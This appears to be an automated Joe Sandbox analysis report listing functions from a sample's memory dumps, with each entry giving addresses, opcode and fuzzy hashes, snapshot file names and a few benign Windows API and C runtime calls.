Opcode ID: ee9e49a735b7aa3111e3a0ff653fa33f29280e6ec1b0147dcd29e689c031de0b
Instruction ID: b939367dbf909f5368825d09f6c0a444d4914dc23d32e2cdf71ce3f689efbbea
Opcode Fuzzy Hash: ee9e49a735b7aa3111e3a0ff653fa33f29280e6ec1b0147dcd29e689c031de0b
Instruction Fuzzy Hash: 11416871E016589BEB68CF5BD94479EFAF3AFC9200F04C1AAD50CA6254EB740A868F51

Function 064A1B78 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108338151.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64a0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f1e063ca9f749f295f1a223f27f97d614147b24723d0ba24f3ab506558a45d
Instruction ID: 5b9a0cc0ad944199f62213846ec1c5652416817950c6932d863d80261c02a754
Opcode Fuzzy Hash: 54f1e063ca9f749f295f1a223f27f97d614147b24723d0ba24f3ab506558a45d
Instruction Fuzzy Hash: 9C415971E016189FEB58CF6BD94479EFAF3AFC9304F14C1AAC50CA6254DB740A868F51

Function 061C1E8A Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108131259.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 205192fc7c75011e20765f502c36e38364d5de3c13031d9476a2bd1f5ff33370
Instruction ID: 8c58d97141f016648c6bb8d6f68277e0f2424eb61a2c422db989e5c297f06c7e
Opcode Fuzzy Hash: 205192fc7c75011e20765f502c36e38364d5de3c13031d9476a2bd1f5ff33370
Instruction Fuzzy Hash: CD4179B1E016188BEB68CF6BC8447DEFAF3AFC9200F04C5A9D40CA6254DB740A85CF51

Function 064A0DB2 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108338151.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64a0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d60a6acea43d10c977a11e9b4a2a25c134b2604f97ebce576a5a03746aea26e
Instruction ID: c7a36cc2fb7c4ed577e6a8b5b389fc4606cac46751a431b69a9a24f1b21364a6
Opcode Fuzzy Hash: 9d60a6acea43d10c977a11e9b4a2a25c134b2604f97ebce576a5a03746aea26e
Instruction Fuzzy Hash: DF4155B1E016189BEB68CF5BC9447DAFAF3AFC8204F14C1AAD50CA6254EB740A858F51

Function 063BB7AF Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07474f0d18e30c2a8fa51473b0623aab9219d2f221abee9c4a3af4b2e2794c6b
Instruction ID: 846c19a76f1180153875b38cd9dcae110f76043d0d6f4907a5eaf66a96a2fb2a
Opcode Fuzzy Hash: 07474f0d18e30c2a8fa51473b0623aab9219d2f221abee9c4a3af4b2e2794c6b
Instruction Fuzzy Hash: 6741F470E012488BDB58DFAAD8506DEFBF2AFC9300F14D06AD419BB654EB345946CF94

Function 063B940F Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28de16842f2d5535e5f736fd7364766f0adc1a5096f2dde6d2fe58af9ae7c774
Instruction ID: 3579772376f99a0ea0f2b74a77f492015b073465530576e273dbdca670733566
Opcode Fuzzy Hash: 28de16842f2d5535e5f736fd7364766f0adc1a5096f2dde6d2fe58af9ae7c774
Instruction Fuzzy Hash: 0F41E374E012088BEB58DFAAD8506DEFBF6AFC9300F10D02AD518BB258DB345946CF94

Function 06426BA9 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108207853.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6420000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d847559c753370ad12ff3b24128a23d689d38d3dd4178fc812d21539e000b127
Instruction ID: 68f01ab62283d6660117997d0ebaad690baeea52b08906138018e333f5ec6b3c
Opcode Fuzzy Hash: d847559c753370ad12ff3b24128a23d689d38d3dd4178fc812d21539e000b127
Instruction Fuzzy Hash: 9441F274E002198FDB58DFAAD8506AEBBF2BF89300F64D06AD418BB354EB355942CF54

Function 061CCCC0 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108131259.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b015f43fe9f8ab6cd708b384e2aabebf655125abb475751a7ca9eb343c46bfb
Instruction ID: 5985986bc1b4e049469077fc1c2ddc82f33dcc3954ee75826edea1f627144cf9
Opcode Fuzzy Hash: 7b015f43fe9f8ab6cd708b384e2aabebf655125abb475751a7ca9eb343c46bfb
Instruction Fuzzy Hash: 2B41D275E012088BDB58DFAAD9406EDFBF2AF99310F20D52EC419BB254DB345946CF44

Function 061C297A Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4108131259.00000000061C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61c0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45a29fb2e8d3c8315856dd7d8699b4d6eff20897f955594d78bada26a8f50215
Instruction ID: 17feff451b92fda4137b92d5a1a02cf3b42a7b09de93dc99acea9f15fc0f80d5
Opcode Fuzzy Hash: 45a29fb2e8d3c8315856dd7d8699b4d6eff20897f955594d78bada26a8f50215
Instruction Fuzzy Hash: F741F4B4E01248CFEB58CFAAD5446ADFBF2AF98304F20D429D459AB359DB344A46CF44

Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 0040CC41
__mtinit.LIBCMT ref: 0040CC47
_fast_error_exit.LIBCMT ref: 0040CC52
__RTC_Initialize.LIBCMT ref: 0040CC58
__ioinit.LIBCMT ref: 0040CC61
__amsg_exit.LIBCMT ref: 0040CC6C
GetCommandLineA.KERNEL32 ref: 0040CC72
___crtGetEnvironmentStringsA.LIBCMT ref: 0040CC7D
__setargv.LIBCMT ref: 0040CC87
__amsg_exit.LIBCMT ref: 0040CC92
__setenvp.LIBCMT ref: 0040CC98
__amsg_exit.LIBCMT ref: 0040CCA3
__cinit.LIBCMT ref: 0040CCAB
__amsg_exit.LIBCMT ref: 0040CCB6

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
String ID:
API String ID: 2598563909-0
Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C

Function 02197C08 Relevance: 10.5, Strings: 8, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 02197C46
(o^q, xrefs: 02197D01
(o^q, xrefs: 02197D2D
,bq, xrefs: 021980A8
(o^q, xrefs: 02198127
(o^q, xrefs: 02198117
(o^q, xrefs: 02197DCA
,bq, xrefs: 021980B8

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 84fe3fda8a2e31b9a79d5808bbcaeb22765f39c9675555466ca8f19a2bf737bb
Instruction ID: 40efef69bbe1245c315957e4c54f4605e65de827bb69abeac85aab0e4d2d375e
Opcode Fuzzy Hash: 84fe3fda8a2e31b9a79d5808bbcaeb22765f39c9675555466ca8f19a2bf737bb
Instruction Fuzzy Hash: 38125A30A402089FCF14CF69D984AAEBBF2FF49314F1585A9E4599B3A1D731ED41CB50

Function 064AB840 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 141
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 064AB8CE
GetCurrentThread.KERNEL32 ref: 064AB90B
GetCurrentProcess.KERNEL32 ref: 064AB948
GetCurrentThreadId.KERNEL32 ref: 064AB9A1

Strings

pRr, xrefs: 064AB9CD

Memory Dump Source

Source File: 00000000.00000002.4108338151.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64a0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: Current$ProcessThread
String ID: pRr
API String ID: 2063062207-2637602436
Opcode ID: cfcdf31cec231f23209e7104e992352a6efbace78b4690c90d57ef4618951b86
Instruction ID: 9b2cb38f8c3f36af23270387431c63e484fa751bca154d8ffd134a1a34c2017a
Opcode Fuzzy Hash: cfcdf31cec231f23209e7104e992352a6efbace78b4690c90d57ef4618951b86
Instruction Fuzzy Hash: CF5178B09013499FDB44DFAAD948BEEBBF1EF48314F24805AE009AB3A1C7749944CF65

Function 064AB850 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 064AB8CE
GetCurrentThread.KERNEL32 ref: 064AB90B
GetCurrentProcess.KERNEL32 ref: 064AB948
GetCurrentThreadId.KERNEL32 ref: 064AB9A1

Strings

pRr, xrefs: 064AB9CD

Memory Dump Source

Source File: 00000000.00000002.4108338151.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64a0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: Current$ProcessThread
String ID: pRr
API String ID: 2063062207-2637602436
Opcode ID: c17058c2517514795d29b2d8ae58c216425b54359e15eb19673eb803a96fd200
Instruction ID: 3829e8ec89976987189ae8eccbbbfa625f83e5c30f34c1d5a6ee26b69b210c37
Opcode Fuzzy Hash: c17058c2517514795d29b2d8ae58c216425b54359e15eb19673eb803a96fd200
Instruction Fuzzy Hash: CC5155B09003099FDB44DFAAD948BDEBBF1EF88314F248059E049AB3A0DB749944CF65

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 0641F890 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

xbq, xrefs: 0641F9C3
xbq, xrefs: 0641FA1F
(bq, xrefs: 0641FADA
(bq, xrefs: 0641FB06

Memory Dump Source

Source File: 00000000.00000002.4108188713.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6410000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: (bq$(bq$xbq$xbq
API String ID: 0-2582918839
Opcode ID: 696bc5a6a5b703cb4d7f34eb2fa956f06449758e1c7b44e061692d1d58b3fb61
Instruction ID: 4d1f08001cdafa7dc9670408017d8abcaf22a709f692a855d8126bc03fe504c0
Opcode Fuzzy Hash: 696bc5a6a5b703cb4d7f34eb2fa956f06449758e1c7b44e061692d1d58b3fb61
Instruction Fuzzy Hash: F7619F307002049FDB459F68C450BAE7BE2EF89310F14846DE80A8F395CB36ED46CB91

Function 02196C47 Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

La, xrefs: 02196D1A
(o^q, xrefs: 02196CB3
La, xrefs: 02196D02

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: (o^q$La$La
API String ID: 0-4149982984
Opcode ID: 07d00c4107e70a21b549c2d9a5adc3e7c2daa28b057c39d50c5695c4dc234cbd
Instruction ID: 3a33c0834643c675c8c5d0cb4a1c11c86090d5665532504af7789423c04d54e6
Opcode Fuzzy Hash: 07d00c4107e70a21b549c2d9a5adc3e7c2daa28b057c39d50c5695c4dc234cbd
Instruction Fuzzy Hash: 2C11E7307812444FCF05AB7A96901A97FABEFC52287144479D145CB369EF35CC07CBA1

Function 021989A8 Relevance: 3.2, Strings: 2, Instructions: 701COMMON

Download Yara Rule

Strings

$^q, xrefs: 021994EF
$^q, xrefs: 021994CC

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: c3c9e6514713fd590dc2608bdd0a98542f7d7479cd7e026bca319d489b8d7d2e
Instruction ID: 3d728d3f73110a4555ff6e11997493a4fc700cdbaaf6e3896d44ee3e2adf791a
Opcode Fuzzy Hash: c3c9e6514713fd590dc2608bdd0a98542f7d7479cd7e026bca319d489b8d7d2e
Instruction Fuzzy Hash: 27524474A00218CFEB659BA4C960BAEBB77EF84300F1081ADD10A6B795CF359E85DF51

Function 021995AE Relevance: 2.8, Strings: 2, Instructions: 335COMMON

Download Yara Rule

Strings

4'^q, xrefs: 021995EF
4'^q, xrefs: 021995C9

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 6cf8c74e8bd4bc71ced12ec4b1fbd326946c8739e469f3af88bcff91f968a8c6
Instruction ID: f60a8b7e6fbab842ddc5406befd7cee4265531169902a423d9e96b7a844d9d38
Opcode Fuzzy Hash: 6cf8c74e8bd4bc71ced12ec4b1fbd326946c8739e469f3af88bcff91f968a8c6
Instruction Fuzzy Hash: 82B17E307841018FDF299F69C4A873E3796AF85604F1944BEE566CF3A5DB26CC42CB82

Function 02196448 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

Hbq, xrefs: 02196533
Hbq, xrefs: 02196566

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 58a9259b2ad5d9492c9fc5b012bbfcb0115656b92a621eea9553f272fc9e1335
Instruction ID: cd8212a911be6f1bf094b9d727561e0754e988a59449bad212314812b379f1c1
Opcode Fuzzy Hash: 58a9259b2ad5d9492c9fc5b012bbfcb0115656b92a621eea9553f272fc9e1335
Instruction Fuzzy Hash: F8B1CD307842948FCB199F38C854B7A7BAAAFC9340F158869E906CB395CB35C851CBA1

Function 021969A8 Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

,bq, xrefs: 02196A7E
,bq, xrefs: 02196A88

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 13fe6ddcc729ccb4626f946a32b2ace9e5d320c0460b0fc28ba1f374937b17a7
Instruction ID: ca75791eb1fb2e4f07f291f2613e2fb35b088af8cbe9df9250b886ba15bad329
Opcode Fuzzy Hash: 13fe6ddcc729ccb4626f946a32b2ace9e5d320c0460b0fc28ba1f374937b17a7
Instruction Fuzzy Hash: 8391E330B80149CFCF28DF68C894AA9BBBAFF89314B158169D416DB365E731D841CB71

Function 063B8ED8 Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

(&^q, xrefs: 063B8FF3
(bq, xrefs: 063B90B2

Memory Dump Source

Source File: 00000000.00000002.4108169879.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: (&^q$(bq
API String ID: 0-1294341849
Opcode ID: 2d0728434d4632cb6622460a34102b282f323654d05e9e0c5043cffd1fbf06ec
Instruction ID: 9cd18de287c1c47d5ce8ac8b61bc76d666af832e8844839b4a5eeee49d29c808
Opcode Fuzzy Hash: 2d0728434d4632cb6622460a34102b282f323654d05e9e0c5043cffd1fbf06ec
Instruction Fuzzy Hash: F2718D31F002199FCB55DFB9C8506EEBBF6AF89700F148569E506A7380DE309E46CBA5

Function 0641F050 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

LR^q, xrefs: 0641F0D9
E, xrefs: 0641F209

Memory Dump Source

Source File: 00000000.00000002.4108188713.0000000006410000.00000040.00000800.00020000.00000000.sdmp, Offset: 06410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6410000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: E$LR^q
API String ID: 0-1742118803
Opcode ID: 38a5534b48ff9f16b6da055e241f18de92bb75982577e15e2c186bb74296489a
Instruction ID: c1efa54bd84b7702bc0be1845a1ab24ba589ab8cd681670d7d10f3be5ebabadf
Opcode Fuzzy Hash: 38a5534b48ff9f16b6da055e241f18de92bb75982577e15e2c186bb74296489a
Instruction Fuzzy Hash: 3361CF71B005058FCB94DF79C884A6E7BF6EF89600B14856AE41ADF3A5EB30DC06CB91

Function 02191190 Relevance: 1.8, Strings: 1, Instructions: 547COMMON

Download Yara Rule

Strings

LR^q, xrefs: 0219141F

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 658e85f99fd106244ca35ded11bc9f6bc0ea21d4bbedcd6448ab9790d84e8681
Instruction ID: d58d447ae53cdbe77314e3825f31aee536e08b20ed91f47e588844f7dc7f80ca
Opcode Fuzzy Hash: 658e85f99fd106244ca35ded11bc9f6bc0ea21d4bbedcd6448ab9790d84e8681
Instruction Fuzzy Hash: E5520E74E40219CFCB94EF24E994A9DBBB2FB8D304F1085A5D509A7329DB346E95CF80

Function 021911A0 Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

LR^q, xrefs: 0219141F

Memory Dump Source

Source File: 00000000.00000002.4104668370.0000000002190000.00000040.00000800.00020000.00000000.sdmp, Offset: 02190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2190000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 9190855e5332d7f776c04258a494b775fae99888b78365176d7439fb779540fa
Instruction ID: a1c1bb0822134bafb9a2bb6c9505435a4833e08b085b82f3ce029aea13f1045e
Opcode Fuzzy Hash: 9190855e5332d7f776c04258a494b775fae99888b78365176d7439fb779540fa
Instruction Fuzzy Hash: 99520E74E40219CFCB94EF24E994A9DBBB2FB8D304F1085A5D509A7329DB346E95CF80

Function 06F843C8 Relevance: 1.7, APIs: 1, Instructions: 207COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 06F8462E

Memory Dump Source

Source File: 00000000.00000002.4108594367.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f80000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 155cb5236eef5694055aab7da297a479250faf7e50f51bbee85271880983b6fd
Instruction ID: a3de4c94cc1808d0ad1a57d750cd9ba17d4b9c78d852a5e0ca5cf11883bcf8c1
Opcode Fuzzy Hash: 155cb5236eef5694055aab7da297a479250faf7e50f51bbee85271880983b6fd
Instruction Fuzzy Hash: B6815670A00B059FD7A4EF69D44579ABBF1FF88300F008A6DD48ADBA50DB74E949CB90

Function 06F865A4 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06F866C2

Memory Dump Source

Source File: 00000000.00000002.4108594367.0000000006F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f80000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: cc29250876f28ea18277ba22e5ee3750e4adabe2d7a998b84ed4848a9dad37de
Instruction ID: 2a6454ed490273c7b216e400dfc9953c78de16ad747aa9030abf2a1f534fd16f
Opcode Fuzzy Hash: cc29250876f28ea18277ba22e5ee3750e4adabe2d7a998b84ed4848a9dad37de
Instruction Fuzzy Hash: 8851D0B1D003499FDB14DF99C984ADEFBB5FF88310F24812AE819AB210D774A885CF91

Function 06F865B0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06F866C2

Memory Dump Source

